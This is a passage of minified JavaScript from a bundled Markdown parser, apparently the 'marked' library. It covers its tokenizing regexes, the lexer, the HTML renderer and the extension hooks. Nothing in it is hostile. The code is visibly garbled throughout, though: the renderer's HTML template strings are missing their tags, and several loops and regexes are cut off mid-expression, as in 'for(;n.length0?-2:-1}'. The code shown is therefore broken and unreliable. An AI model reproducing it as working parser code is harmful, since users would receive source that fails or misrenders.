\t]*)?([^<\s][^\s]*|<.*?>)(?:(?: +(?:\n[ \t]*)?| *\n[ \t]*)(title))? *(?:\n+|$)/).replace("label",ef).replace("title",/(?:"(?:\\"?|[^"\\])*"|'[^'\n]*(?:\n[^'\n]+)*\n?'|\([^()]*\))/).getRegex(),BT=Mt(/^( {0,3}bull)([ \t][^\n]+?)?(?:\n|$)/).replace(/bull/g,Zp).getRegex(),ru="address|article|aside|base|basefont|blockquote|body|caption|center|col|colgroup|dd|details|dialog|dir|div|dl|dt|fieldset|figcaption|figure|footer|form|frame|frameset|h[1-6]|head|header|hr|html|iframe|legend|li|link|main|menu|menuitem|meta|nav|noframes|ol|optgroup|option|p|param|search|section|summary|table|tbody|td|tfoot|th|thead|title|tr|track|ul",tf=/|$))/,hT=Mt("^ {0,3}(?:<(script|pre|style|textarea)[\\s>][\\s\\S]*?(?:[^\\n]*\\n+|$)|comment[^\\n]*(\\n+|$)|<\\?[\\s\\S]*?(?:\\?>\\n*|$)|\\n*|$)|\\n*|$)|)[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|<(?!script|pre|style|textarea)([a-z][\\w-]*)(?:attribute)*? */?>(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$)|(?=[ \\t]*(?:\\n|$))[\\s\\S]*?(?:(?:\\n[ ]*)+\\n|$))","i").replace("comment",tf).replace("tag",ru).replace("attribute",/ +[a-zA-Z:_][\w.:-]*(?: *= *"[^"\n]*"| *= *'[^'\n]*'| *= *[^\s"'=<>`]+)?/).getRegex(),Hb=Mt(Xp).replace("hr",oo).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("|table","").replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",ru).getRegex(),gT=Mt(/^( {0,3}> ?(paragraph|[^\n]*)(?:\n|$))+/).replace("paragraph",Hb).getRegex(),sf={blockquote:gT,code:oT,def:fT,fences:cT,heading:uT,hr:oo,html:hT,lheading:Pb,list:BT,newline:rT,paragraph:Hb,table:kr,text:pT},Yh=Mt("^ *([^\\n ].*)\\n {0,3}((?:\\| *)?:?-+:? *(?:\\| *:?-+:? *)*(?:\\| *)?)(?:\\n((?:(?! *\\n|hr|heading|blockquote|code|fences|list|html).*(?:\\n|$))*)\\n*|$)").replace("hr",oo).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("blockquote"," {0,3}>").replace("code","(?: {4}| {0,3} )[^\\n]").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",ru).getRegex(),mT={...sf,lheading:dT,table:Yh,paragraph:Mt(Xp).replace("hr",oo).replace("heading"," {0,3}#{1,6}(?:\\s|$)").replace("|lheading","").replace("table",Yh).replace("blockquote"," {0,3}>").replace("fences"," {0,3}(?:`{3,}(?=[^`\\n]*\\n)|~{3,})[^\\n]*\\n").replace("list"," {0,3}(?:[*+-]|1[.)]) ").replace("html",")|<(?:script|pre|style|textarea|!--)").replace("tag",ru).getRegex()},vT={...sf,html:Mt(`^ *(?:comment *(?:\\n|\\s*$)|<(tag)[\\s\\S]+? *(?:\\n{2,}|\\s*$)|\\s]*)*?/?> *(?:\\n{2,}|\\s*$))`).replace("comment",tf).replace(/tag/g,"(?!(?:a|em|strong|small|s|cite|q|dfn|abbr|data|time|code|var|samp|kbd|sub|sup|i|b|u|mark|ruby|rt|rp|bdi|bdo|span|br|wbr|ins|del|img)\\b)\\w+(?!:|[^\\w\\s@]*@)\\b").getRegex(),def:/^ *\[([^\]]+)\]: *]+)>?(?: +(["(][^\n]+[")]))? *(?:\n+|$)/,heading:/^(#{1,6})(.*)(?:\n+|$)/,fences:kr,lheading:/^(.+?)\n {0,3}(=+|-+) *(?:\n+|$)/,paragraph:Mt(Xp).replace("hr",oo).replace("heading",` *#{1,6} *[^ +]`).replace("lheading",Pb).replace("|table","").replace("blockquote"," {0,3}>").replace("|fences","").replace("|list","").replace("|html","").replace("|tag","").getRegex()},bT=/^\\([!"#$%&'()*+,\-./:;<=>?@\[\]\\^_`{|}~])/,CT=/^(`+)([^`]|[^`][\s\S]*?[^`])\1(?!`)/,Gb=/^( {2,}|\\)\n(?!\s*$)/,yT=/^(`+|[^`])(?:(?= {2,}\n)|[\s\S]*?(?:(?=[\\]*?>/g,jb=/^(?:\*+(?:((?!\*)punct)|[^\s*]))|^_+(?:((?!_)punct)|([^\s_]))/,kT=Mt(jb,"u").replace(/punct/g,ou).getRegex(),DT=Mt(jb,"u").replace(/punct/g,$b).getRegex(),Jb="^[^_*]*?__[^_*]*?\\*[^_*]*?(?=__)|[^*]+(?=[^*])|(?!\\*)punct(\\*+)(?=[\\s]|$)|notPunctSpace(\\*+)(?!\\*)(?=punctSpace|$)|(?!\\*)punctSpace(\\*+)(?=notPunctSpace)|[\\s](\\*+)(?!\\*)(?=punct)|(?!\\*)punct(\\*+)(?!\\*)(?=punct)|notPunctSpace(\\*+)(?=notPunctSpace)",ST=Mt(Jb,"gu").replace(/notPunctSpace/g,Ub).replace(/punctSpace/g,nf).replace(/punct/g,ou).getRegex(),TT=Mt(Jb,"gu").replace(/notPunctSpace/g,_T).replace(/punctSpace/g,wT).replace(/punct/g,$b).getRegex(),AT=Mt("^[^_*]*?\\*\\*[^_*]*?_[^_*]*?(?=\\*\\*)|[^_]+(?=[^_])|(?!_)punct(_+)(?=[\\s]|$)|notPunctSpace(_+)(?!_)(?=punctSpace|$)|(?!_)punctSpace(_+)(?=notPunctSpace)|[\\s](_+)(?!_)(?=punct)|(?!_)punct(_+)(?!_)(?=punct)","gu").replace(/notPunctSpace/g,Ub).replace(/punctSpace/g,nf).replace(/punct/g,ou).getRegex(),RT=Mt(/\\(punct)/,"gu").replace(/punct/g,ou).getRegex(),IT=Mt(/^<(scheme:[^\s\x00-\x1f<>]*|email)>/).replace("scheme",/[a-zA-Z][a-zA-Z0-9+.-]{1,31}/).replace("email",/[a-zA-Z0-9.!#$%&'*+/=?^_`{|}~-]+(@)[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)+(?![-_])/).getRegex(),OT=Mt(tf).replace("(?:-->|$)","-->").getRegex(),LT=Mt("^comment|^|^<[a-zA-Z][\\w-]*(?:attribute)*?\\s*/?>|^<\\?[\\s\\S]*?\\?>|^|^").replace("comment",OT).replace("attribute",/\s+[a-zA-Z:_][\w.:-]*(?:\s*=\s*"[^"]*"|\s*=\s*'[^']*'|\s*=\s*[^\s"'=<>`]+)?/).getRegex(),Ac=/(?:\[(?:\\.|[^\[\]\\])*\]|\\.|`[^`]*`|[^\[\]\\`])*?/,NT=Mt(/^!?\[(label)\]\(\s*(href)(?:(?:[ \t]*(?:\n[ \t]*)?)(title))?\s*\)/).replace("label",Ac).replace("href",/<(?:\\.|[^\n<>\\])+>|[^ \t\n\x00-\x1f]*/).replace("title",/"(?:\\"?|[^"\\])*"|'(?:\\'?|[^'\\])*'|\((?:\\\)?|[^)\\])*\)/).getRegex(),zb=Mt(/^!?\[(label)\]\[(ref)\]/).replace("label",Ac).replace("ref",ef).getRegex(),qb=Mt(/^!?\[(ref)\](?:\[\])?/).replace("ref",ef).getRegex(),FT=Mt("reflink|nolink(?!\\()","g").replace("reflink",zb).replace("nolink",qb).getRegex(),af={_backpedal:kr,anyPunctuation:RT,autolink:IT,blockSkip:ET,br:Gb,code:CT,del:kr,emStrongLDelim:kT,emStrongRDelimAst:ST,emStrongRDelimUnd:AT,escape:bT,link:NT,nolink:qb,punctuation:xT,reflink:zb,reflinkSearch:FT,tag:LT,text:yT,url:kr},MT={...af,link:Mt(/^!?\[(label)\]\((.*?)\)/).replace("label",Ac).getRegex(),reflink:Mt(/^!?\[(label)\]\s*\[([^\]]*)\]/).replace("label",Ac).getRegex()},zd={...af,emStrongRDelimAst:TT,emStrongLDelim:DT,url:Mt(/^((?:ftp|https?):\/\/|www\.)(?:[a-zA-Z0-9\-]+\.?)+[^\s<]*|^email/,"i").replace("email",/[A-Za-z0-9._+-]+(@)[a-zA-Z0-9-_]+(?:\.[a-zA-Z0-9-_]*[a-zA-Z0-9])+(?![-_])/).getRegex(),_backpedal:/(?:[^?!.,:;*_'"~()&]+|\([^)]*\)|&(?![a-zA-Z0-9]+;$)|[?!.,:;*_'"~)]+(?!$))+/,del:/^(~~?)(?=[^\s~])((?:\\.|[^\\])*?(?:\\.|[^\s~\\]))\1(?=[^~]|$)/,text:/^([`~]+|[^`~])(?:(?= {2,}\n)|(?=[a-zA-Z0-9.!#$%&'*+\/=?_`{\|}~-]+@)|[\s\S]*?(?:(?=[\\":">",'"':""","'":"'"},Zh=t=>HT[t];function sa(t,e){if(e){if(sn.escapeTest.test(t))return t.replace(sn.escapeReplace,Zh)}else if(sn.escapeTestNoEncode.test(t))return t.replace(sn.escapeReplaceNoEncode,Zh);return t}function Xh(t){try{t=encodeURI(t).replace(sn.percentDecode,"%")}catch{return null}return t}function eg(t,e){var i;const s=t.replace(sn.findPipe,(l,r,o)=>{let c=!1,u=r;for(;--u>=0&&o[u]==="\\";)c=!c;return c?"|":" |"}),n=s.split(sn.splitPipe);let a=0;if(n[0].trim()||n.shift(),n.length>0&&!((i=n.at(-1))!=null&&i.trim())&&n.pop(),e)if(n.length>e)n.splice(e);else for(;n.length0?-2:-1}function tg(t,e,s,n,a){const i=e.href,l=e.title||null,r=t[1].replace(a.other.outputLinkReplace,"$1");n.state.inLink=!0;const o={type:t[0].charAt(0)==="!"?"image":"link",raw:s,href:i,title:l,text:r,tokens:n.inlineTokens(r)};return n.state.inLink=!1,o}function UT(t,e,s){const n=t.match(s.other.indentCodeCompensation);if(n===null)return e;const a=n[1];return e.split(` +`).map(i=>{const l=i.match(s.other.beginningSpace);if(l===null)return i;const[r]=l;return r.length>=a.length?i.slice(a.length):i}).join(` +`)}var Rc=class{constructor(t){ye(this,"options");ye(this,"rules");ye(this,"lexer");this.options=t||Wi}space(t){const e=this.rules.block.newline.exec(t);if(e&&e[0].length>0)return{type:"space",raw:e[0]}}code(t){const e=this.rules.block.code.exec(t);if(e){const s=e[0].replace(this.rules.other.codeRemoveIndent,"");return{type:"code",raw:e[0],codeBlockStyle:"indented",text:this.options.pedantic?s:dr(s,` +`)}}}fences(t){const e=this.rules.block.fences.exec(t);if(e){const s=e[0],n=UT(s,e[3]||"",this.rules);return{type:"code",raw:s,lang:e[2]?e[2].trim().replace(this.rules.inline.anyPunctuation,"$1"):e[2],text:n}}}heading(t){const e=this.rules.block.heading.exec(t);if(e){let s=e[2].trim();if(this.rules.other.endingHash.test(s)){const n=dr(s,"#");(this.options.pedantic||!n||this.rules.other.endingSpaceChar.test(n))&&(s=n.trim())}return{type:"heading",raw:e[0],depth:e[1].length,text:s,tokens:this.lexer.inline(s)}}}hr(t){const e=this.rules.block.hr.exec(t);if(e)return{type:"hr",raw:dr(e[0],` +`)}}blockquote(t){const e=this.rules.block.blockquote.exec(t);if(e){let s=dr(e[0],` +`).split(` +`),n="",a="";const i=[];for(;s.length>0;){let l=!1;const r=[];let o;for(o=0;o1,a={type:"list",raw:"",ordered:n,start:n?+s.slice(0,-1):"",loose:!1,items:[]};s=n?`\\d{1,9}\\${s.slice(-1)}`:`\\${s}`,this.options.pedantic&&(s=n?s:"[*+-]");const i=this.rules.other.listItemRegex(s);let l=!1;for(;t;){let o=!1,c="",u="";if(!(e=i.exec(t))||this.rules.block.hr.test(t))break;c=e[0],t=t.substring(c.length);let d=e[2].split(` +`,1)[0].replace(this.rules.other.listReplaceTabs,_=>" ".repeat(3*_.length)),p=t.split(` +`,1)[0],B=!d.trim(),h=0;if(this.options.pedantic?(h=2,u=d.trimStart()):B?h=e[1].length+1:(h=e[2].search(this.rules.other.nonSpaceChar),h=h>4?1:h,u=d.slice(h),h+=e[1].length),B&&this.rules.other.blankLine.test(p)&&(c+=p+` +`,t=t.substring(p.length+1),o=!0),!o){const _=this.rules.other.nextBulletRegex(h),C=this.rules.other.hrRegex(h),v=this.rules.other.fencesBeginRegex(h),m=this.rules.other.headingBeginRegex(h),y=this.rules.other.htmlBeginRegex(h);for(;t;){const k=t.split(` +`,1)[0];let x;if(p=k,this.options.pedantic?(p=p.replace(this.rules.other.listReplaceNesting," "),x=p):x=p.replace(this.rules.other.tabCharGlobal," "),v.test(p)||m.test(p)||y.test(p)||_.test(p)||C.test(p))break;if(x.search(this.rules.other.nonSpaceChar)>=h||!p.trim())u+=` +`+x.slice(h);else{if(B||d.replace(this.rules.other.tabCharGlobal," ").search(this.rules.other.nonSpaceChar)>=4||v.test(d)||m.test(d)||C.test(d))break;u+=` +`+p}!B&&!p.trim()&&(B=!0),c+=k+` +`,t=t.substring(k.length+1),d=x.slice(h)}}a.loose||(l?a.loose=!0:this.rules.other.doubleBlankLine.test(c)&&(l=!0));let b=null,w;this.options.gfm&&(b=this.rules.other.listIsTask.exec(u),b&&(w=b[0]!=="[ ] ",u=u.replace(this.rules.other.listReplaceTask,""))),a.items.push({type:"list_item",raw:c,task:!!b,checked:w,loose:!1,text:u,tokens:[]}),a.raw+=c}const r=a.items.at(-1);if(r)r.raw=r.raw.trimEnd(),r.text=r.text.trimEnd();else return;a.raw=a.raw.trimEnd();for(let o=0;od.type==="space"),u=c.length>0&&c.some(d=>this.rules.other.anyLine.test(d.raw));a.loose=u}if(a.loose)for(let o=0;o({text:o,tokens:this.lexer.inline(o),header:!1,align:i.align[c]})));return i}}lheading(t){const e=this.rules.block.lheading.exec(t);if(e)return{type:"heading",raw:e[0],depth:e[2].charAt(0)==="="?1:2,text:e[1],tokens:this.lexer.inline(e[1])}}paragraph(t){const e=this.rules.block.paragraph.exec(t);if(e){const s=e[1].charAt(e[1].length-1)===` +`?e[1].slice(0,-1):e[1];return{type:"paragraph",raw:e[0],text:s,tokens:this.lexer.inline(s)}}}text(t){const e=this.rules.block.text.exec(t);if(e)return{type:"text",raw:e[0],text:e[0],tokens:this.lexer.inline(e[0])}}escape(t){const e=this.rules.inline.escape.exec(t);if(e)return{type:"escape",raw:e[0],text:e[1]}}tag(t){const e=this.rules.inline.tag.exec(t);if(e)return!this.lexer.state.inLink&&this.rules.other.startATag.test(e[0])?this.lexer.state.inLink=!0:this.lexer.state.inLink&&this.rules.other.endATag.test(e[0])&&(this.lexer.state.inLink=!1),!this.lexer.state.inRawBlock&&this.rules.other.startPreScriptTag.test(e[0])?this.lexer.state.inRawBlock=!0:this.lexer.state.inRawBlock&&this.rules.other.endPreScriptTag.test(e[0])&&(this.lexer.state.inRawBlock=!1),{type:"html",raw:e[0],inLink:this.lexer.state.inLink,inRawBlock:this.lexer.state.inRawBlock,block:!1,text:e[0]}}link(t){const e=this.rules.inline.link.exec(t);if(e){const s=e[2].trim();if(!this.options.pedantic&&this.rules.other.startAngleBracket.test(s)){if(!this.rules.other.endAngleBracket.test(s))return;const i=dr(s.slice(0,-1),"\\");if((s.length-i.length)%2===0)return}else{const i=GT(e[2],"()");if(i===-2)return;if(i>-1){const r=(e[0].indexOf("!")===0?5:4)+e[1].length+i;e[2]=e[2].substring(0,i),e[0]=e[0].substring(0,r).trim(),e[3]=""}}let n=e[2],a="";if(this.options.pedantic){const i=this.rules.other.pedanticHrefTitle.exec(n);i&&(n=i[1],a=i[3])}else a=e[3]?e[3].slice(1,-1):"";return n=n.trim(),this.rules.other.startAngleBracket.test(n)&&(this.options.pedantic&&!this.rules.other.endAngleBracket.test(s)?n=n.slice(1):n=n.slice(1,-1)),tg(e,{href:n&&n.replace(this.rules.inline.anyPunctuation,"$1"),title:a&&a.replace(this.rules.inline.anyPunctuation,"$1")},e[0],this.lexer,this.rules)}}reflink(t,e){let s;if((s=this.rules.inline.reflink.exec(t))||(s=this.rules.inline.nolink.exec(t))){const n=(s[2]||s[1]).replace(this.rules.other.multipleSpaceGlobal," "),a=e[n.toLowerCase()];if(!a){const i=s[0].charAt(0);return{type:"text",raw:i,text:i}}return tg(s,a,s[0],this.lexer,this.rules)}}emStrong(t,e,s=""){let n=this.rules.inline.emStrongLDelim.exec(t);if(!n||n[3]&&s.match(this.rules.other.unicodeAlphaNumeric))return;if(!(n[1]||n[2]||"")||!s||this.rules.inline.punctuation.exec(s)){const i=[...n[0]].length-1;let l,r,o=i,c=0;const u=n[0][0]==="*"?this.rules.inline.emStrongRDelimAst:this.rules.inline.emStrongRDelimUnd;for(u.lastIndex=0,e=e.slice(-1*t.length+i);(n=u.exec(e))!=null;){if(l=n[1]||n[2]||n[3]||n[4]||n[5]||n[6],!l)continue;if(r=[...l].length,n[3]||n[4]){o+=r;continue}else if((n[5]||n[6])&&i%3&&!((i+r)%3)){c+=r;continue}if(o-=r,o>0)continue;r=Math.min(r,r+o+c);const d=[...n[0]][0].length,p=t.slice(0,i+n.index+d+r);if(Math.min(i,r)%2){const h=p.slice(1,-1);return{type:"em",raw:p,text:h,tokens:this.lexer.inlineTokens(h)}}const B=p.slice(2,-2);return{type:"strong",raw:p,text:B,tokens:this.lexer.inlineTokens(B)}}}}codespan(t){const e=this.rules.inline.code.exec(t);if(e){let s=e[2].replace(this.rules.other.newLineCharGlobal," ");const n=this.rules.other.nonSpaceChar.test(s),a=this.rules.other.startingSpaceChar.test(s)&&this.rules.other.endingSpaceChar.test(s);return n&&a&&(s=s.substring(1,s.length-1)),{type:"codespan",raw:e[0],text:s}}}br(t){const e=this.rules.inline.br.exec(t);if(e)return{type:"br",raw:e[0]}}del(t){const e=this.rules.inline.del.exec(t);if(e)return{type:"del",raw:e[0],text:e[2],tokens:this.lexer.inlineTokens(e[2])}}autolink(t){const e=this.rules.inline.autolink.exec(t);if(e){let s,n;return e[2]==="@"?(s=e[1],n="mailto:"+s):(s=e[1],n=s),{type:"link",raw:e[0],text:s,href:n,tokens:[{type:"text",raw:s,text:s}]}}}url(t){var s;let e;if(e=this.rules.inline.url.exec(t)){let n,a;if(e[2]==="@")n=e[0],a="mailto:"+n;else{let i;do i=e[0],e[0]=((s=this.rules.inline._backpedal.exec(e[0]))==null?void 0:s[0])??"";while(i!==e[0]);n=e[0],e[1]==="www."?a="http://"+e[0]:a=e[0]}return{type:"link",raw:e[0],text:n,href:a,tokens:[{type:"text",raw:n,text:n}]}}}inlineText(t){const e=this.rules.inline.text.exec(t);if(e){const s=this.lexer.state.inRawBlock;return{type:"text",raw:e[0],text:e[0],escaped:s}}}},Sa=class qd{constructor(e){ye(this,"tokens");ye(this,"options");ye(this,"state");ye(this,"tokenizer");ye(this,"inlineQueue");this.tokens=[],this.tokens.links=Object.create(null),this.options=e||Wi,this.options.tokenizer=this.options.tokenizer||new Rc,this.tokenizer=this.options.tokenizer,this.tokenizer.options=this.options,this.tokenizer.lexer=this,this.inlineQueue=[],this.state={inLink:!1,inRawBlock:!1,top:!0};const s={other:sn,block:Vo.normal,inline:ur.normal};this.options.pedantic?(s.block=Vo.pedantic,s.inline=ur.pedantic):this.options.gfm&&(s.block=Vo.gfm,this.options.breaks?s.inline=ur.breaks:s.inline=ur.gfm),this.tokenizer.rules=s}static get rules(){return{block:Vo,inline:ur}}static lex(e,s){return new qd(s).lex(e)}static lexInline(e,s){return new qd(s).inlineTokens(e)}lex(e){e=e.replace(sn.carriageReturn,` +`),this.blockTokens(e,this.tokens);for(let s=0;s(r=c.call({lexer:this},e,s))?(e=e.substring(r.raw.length),s.push(r),!0):!1))continue;if(r=this.tokenizer.space(e)){e=e.substring(r.raw.length);const c=s.at(-1);r.raw.length===1&&c!==void 0?c.raw+=` +`:s.push(r);continue}if(r=this.tokenizer.code(e)){e=e.substring(r.raw.length);const c=s.at(-1);(c==null?void 0:c.type)==="paragraph"||(c==null?void 0:c.type)==="text"?(c.raw+=` +`+r.raw,c.text+=` +`+r.text,this.inlineQueue.at(-1).src=c.text):s.push(r);continue}if(r=this.tokenizer.fences(e)){e=e.substring(r.raw.length),s.push(r);continue}if(r=this.tokenizer.heading(e)){e=e.substring(r.raw.length),s.push(r);continue}if(r=this.tokenizer.hr(e)){e=e.substring(r.raw.length),s.push(r);continue}if(r=this.tokenizer.blockquote(e)){e=e.substring(r.raw.length),s.push(r);continue}if(r=this.tokenizer.list(e)){e=e.substring(r.raw.length),s.push(r);continue}if(r=this.tokenizer.html(e)){e=e.substring(r.raw.length),s.push(r);continue}if(r=this.tokenizer.def(e)){e=e.substring(r.raw.length);const c=s.at(-1);(c==null?void 0:c.type)==="paragraph"||(c==null?void 0:c.type)==="text"?(c.raw+=` +`+r.raw,c.text+=` +`+r.raw,this.inlineQueue.at(-1).src=c.text):this.tokens.links[r.tag]||(this.tokens.links[r.tag]={href:r.href,title:r.title});continue}if(r=this.tokenizer.table(e)){e=e.substring(r.raw.length),s.push(r);continue}if(r=this.tokenizer.lheading(e)){e=e.substring(r.raw.length),s.push(r);continue}let o=e;if((l=this.options.extensions)!=null&&l.startBlock){let c=1/0;const u=e.slice(1);let d;this.options.extensions.startBlock.forEach(p=>{d=p.call({lexer:this},u),typeof d=="number"&&d>=0&&(c=Math.min(c,d))}),c<1/0&&c>=0&&(o=e.substring(0,c+1))}if(this.state.top&&(r=this.tokenizer.paragraph(o))){const c=s.at(-1);n&&(c==null?void 0:c.type)==="paragraph"?(c.raw+=` +`+r.raw,c.text+=` +`+r.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=c.text):s.push(r),n=o.length!==e.length,e=e.substring(r.raw.length);continue}if(r=this.tokenizer.text(e)){e=e.substring(r.raw.length);const c=s.at(-1);(c==null?void 0:c.type)==="text"?(c.raw+=` +`+r.raw,c.text+=` +`+r.text,this.inlineQueue.pop(),this.inlineQueue.at(-1).src=c.text):s.push(r);continue}if(e){const c="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(c);break}else throw new Error(c)}}return this.state.top=!0,s}inline(e,s=[]){return this.inlineQueue.push({src:e,tokens:s}),s}inlineTokens(e,s=[]){var r,o,c;let n=e,a=null;if(this.tokens.links){const u=Object.keys(this.tokens.links);if(u.length>0)for(;(a=this.tokenizer.rules.inline.reflinkSearch.exec(n))!=null;)u.includes(a[0].slice(a[0].lastIndexOf("[")+1,-1))&&(n=n.slice(0,a.index)+"["+"a".repeat(a[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.reflinkSearch.lastIndex))}for(;(a=this.tokenizer.rules.inline.anyPunctuation.exec(n))!=null;)n=n.slice(0,a.index)+"++"+n.slice(this.tokenizer.rules.inline.anyPunctuation.lastIndex);for(;(a=this.tokenizer.rules.inline.blockSkip.exec(n))!=null;)n=n.slice(0,a.index)+"["+"a".repeat(a[0].length-2)+"]"+n.slice(this.tokenizer.rules.inline.blockSkip.lastIndex);let i=!1,l="";for(;e;){i||(l=""),i=!1;let u;if((o=(r=this.options.extensions)==null?void 0:r.inline)!=null&&o.some(p=>(u=p.call({lexer:this},e,s))?(e=e.substring(u.raw.length),s.push(u),!0):!1))continue;if(u=this.tokenizer.escape(e)){e=e.substring(u.raw.length),s.push(u);continue}if(u=this.tokenizer.tag(e)){e=e.substring(u.raw.length),s.push(u);continue}if(u=this.tokenizer.link(e)){e=e.substring(u.raw.length),s.push(u);continue}if(u=this.tokenizer.reflink(e,this.tokens.links)){e=e.substring(u.raw.length);const p=s.at(-1);u.type==="text"&&(p==null?void 0:p.type)==="text"?(p.raw+=u.raw,p.text+=u.text):s.push(u);continue}if(u=this.tokenizer.emStrong(e,n,l)){e=e.substring(u.raw.length),s.push(u);continue}if(u=this.tokenizer.codespan(e)){e=e.substring(u.raw.length),s.push(u);continue}if(u=this.tokenizer.br(e)){e=e.substring(u.raw.length),s.push(u);continue}if(u=this.tokenizer.del(e)){e=e.substring(u.raw.length),s.push(u);continue}if(u=this.tokenizer.autolink(e)){e=e.substring(u.raw.length),s.push(u);continue}if(!this.state.inLink&&(u=this.tokenizer.url(e))){e=e.substring(u.raw.length),s.push(u);continue}let d=e;if((c=this.options.extensions)!=null&&c.startInline){let p=1/0;const B=e.slice(1);let h;this.options.extensions.startInline.forEach(b=>{h=b.call({lexer:this},B),typeof h=="number"&&h>=0&&(p=Math.min(p,h))}),p<1/0&&p>=0&&(d=e.substring(0,p+1))}if(u=this.tokenizer.inlineText(d)){e=e.substring(u.raw.length),u.raw.slice(-1)!=="_"&&(l=u.raw.slice(-1)),i=!0;const p=s.at(-1);(p==null?void 0:p.type)==="text"?(p.raw+=u.raw,p.text+=u.text):s.push(u);continue}if(e){const p="Infinite loop on byte: "+e.charCodeAt(0);if(this.options.silent){console.error(p);break}else throw new Error(p)}}return s}},Ic=class{constructor(t){ye(this,"options");ye(this,"parser");this.options=t||Wi}space(t){return""}code({text:t,lang:e,escaped:s}){var i;const n=(i=(e||"").match(sn.notSpaceStart))==null?void 0:i[0],a=t.replace(sn.endingNewline,"")+` +`;return n?'
    '+(s?a:sa(a,!0))+`
    +`:"
    "+(s?a:sa(a,!0))+`
    +`}blockquote({tokens:t}){return`
    +${this.parser.parse(t)}
    +`}html({text:t}){return t}heading({tokens:t,depth:e}){return`${this.parser.parseInline(t)} +`}hr(t){return`
    +`}list(t){const e=t.ordered,s=t.start;let n="";for(let l=0;l +`+n+" +`}listitem(t){var s;let e="";if(t.task){const n=this.checkbox({checked:!!t.checked});t.loose?((s=t.tokens[0])==null?void 0:s.type)==="paragraph"?(t.tokens[0].text=n+" "+t.tokens[0].text,t.tokens[0].tokens&&t.tokens[0].tokens.length>0&&t.tokens[0].tokens[0].type==="text"&&(t.tokens[0].tokens[0].text=n+" "+sa(t.tokens[0].tokens[0].text),t.tokens[0].tokens[0].escaped=!0)):t.tokens.unshift({type:"text",raw:n+" ",text:n+" ",escaped:!0}):e+=n+" "}return e+=this.parser.parse(t.tokens,!!t.loose),`
  • ${e}
  • +`}checkbox({checked:t}){return"'}paragraph({tokens:t}){return`

    ${this.parser.parseInline(t)}

    +`}table(t){let e="",s="";for(let a=0;a${n}`),` + +`+e+` +`+n+`
    +`}tablerow({text:t}){return` +${t} +`}tablecell(t){const e=this.parser.parseInline(t.tokens),s=t.header?"th":"td";return(t.align?`<${s} align="${t.align}">`:`<${s}>`)+e+` +`}strong({tokens:t}){return`${this.parser.parseInline(t)}`}em({tokens:t}){return`${this.parser.parseInline(t)}`}codespan({text:t}){return`${sa(t,!0)}`}br(t){return"
    "}del({tokens:t}){return`${this.parser.parseInline(t)}`}link({href:t,title:e,tokens:s}){const n=this.parser.parseInline(s),a=Xh(t);if(a===null)return n;t=a;let i='
    ",i}image({href:t,title:e,text:s,tokens:n}){n&&(s=this.parser.parseInline(n,this.parser.textRenderer));const a=Xh(t);if(a===null)return sa(s);t=a;let i=`${s}{const o=l[r].flat(1/0);s=s.concat(this.walkTokens(o,e))}):l.tokens&&(s=s.concat(this.walkTokens(l.tokens,e)))}}return s}use(...t){const e=this.defaults.extensions||{renderers:{},childTokens:{}};return t.forEach(s=>{const n={...s};if(n.async=this.defaults.async||n.async||!1,s.extensions&&(s.extensions.forEach(a=>{if(!a.name)throw new Error("extension name required");if("renderer"in a){const i=e.renderers[a.name];i?e.renderers[a.name]=function(...l){let r=a.renderer.apply(this,l);return r===!1&&(r=i.apply(this,l)),r}:e.renderers[a.name]=a.renderer}if("tokenizer"in a){if(!a.level||a.level!=="block"&&a.level!=="inline")throw new Error("extension level must be 'block' or 'inline'");const i=e[a.level];i?i.unshift(a.tokenizer):e[a.level]=[a.tokenizer],a.start&&(a.level==="block"?e.startBlock?e.startBlock.push(a.start):e.startBlock=[a.start]:a.level==="inline"&&(e.startInline?e.startInline.push(a.start):e.startInline=[a.start]))}"childTokens"in a&&a.childTokens&&(e.childTokens[a.name]=a.childTokens)}),n.extensions=e),s.renderer){const a=this.defaults.renderer||new Ic(this.defaults);for(const i in s.renderer){if(!(i in a))throw new Error(`renderer '${i}' does not exist`);if(["options","parser"].includes(i))continue;const l=i,r=s.renderer[l],o=a[l];a[l]=(...c)=>{let u=r.apply(a,c);return u===!1&&(u=o.apply(a,c)),u||""}}n.renderer=a}if(s.tokenizer){const a=this.defaults.tokenizer||new Rc(this.defaults);for(const i in s.tokenizer){if(!(i in a))throw new Error(`tokenizer '${i}' does not exist`);if(["options","rules","lexer"].includes(i))continue;const l=i,r=s.tokenizer[l],o=a[l];a[l]=(...c)=>{let u=r.apply(a,c);return u===!1&&(u=o.apply(a,c)),u}}n.tokenizer=a}if(s.hooks){const a=this.defaults.hooks||new tc;for(const i in s.hooks){if(!(i in a))throw new Error(`hook '${i}' does not exist`);if(["options","block"].includes(i))continue;const l=i,r=s.hooks[l],o=a[l];tc.passThroughHooks.has(i)?a[l]=c=>{if(this.defaults.async)return Promise.resolve(r.call(a,c)).then(d=>o.call(a,d));const u=r.call(a,c);return o.call(a,u)}:a[l]=(...c)=>{let u=r.apply(a,c);return u===!1&&(u=o.apply(a,c)),u}}n.hooks=a}if(s.walkTokens){const a=this.defaults.walkTokens,i=s.walkTokens;n.walkTokens=function(l){let r=[];return r.push(i.call(this,l)),a&&(r=r.concat(a.call(this,l))),r}}this.defaults={...this.defaults,...n}}),this}setOptions(t){return this.defaults={...this.defaults,...t},this}lexer(t,e){return Sa.lex(t,e??this.defaults)}parser(t,e){return Ta.parse(t,e??this.defaults)}parseMarkdown(t){return(s,n)=>{const a={...n},i={...this.defaults,...a},l=this.onError(!!i.silent,!!i.async);if(this.defaults.async===!0&&a.async===!1)return l(new Error("marked(): 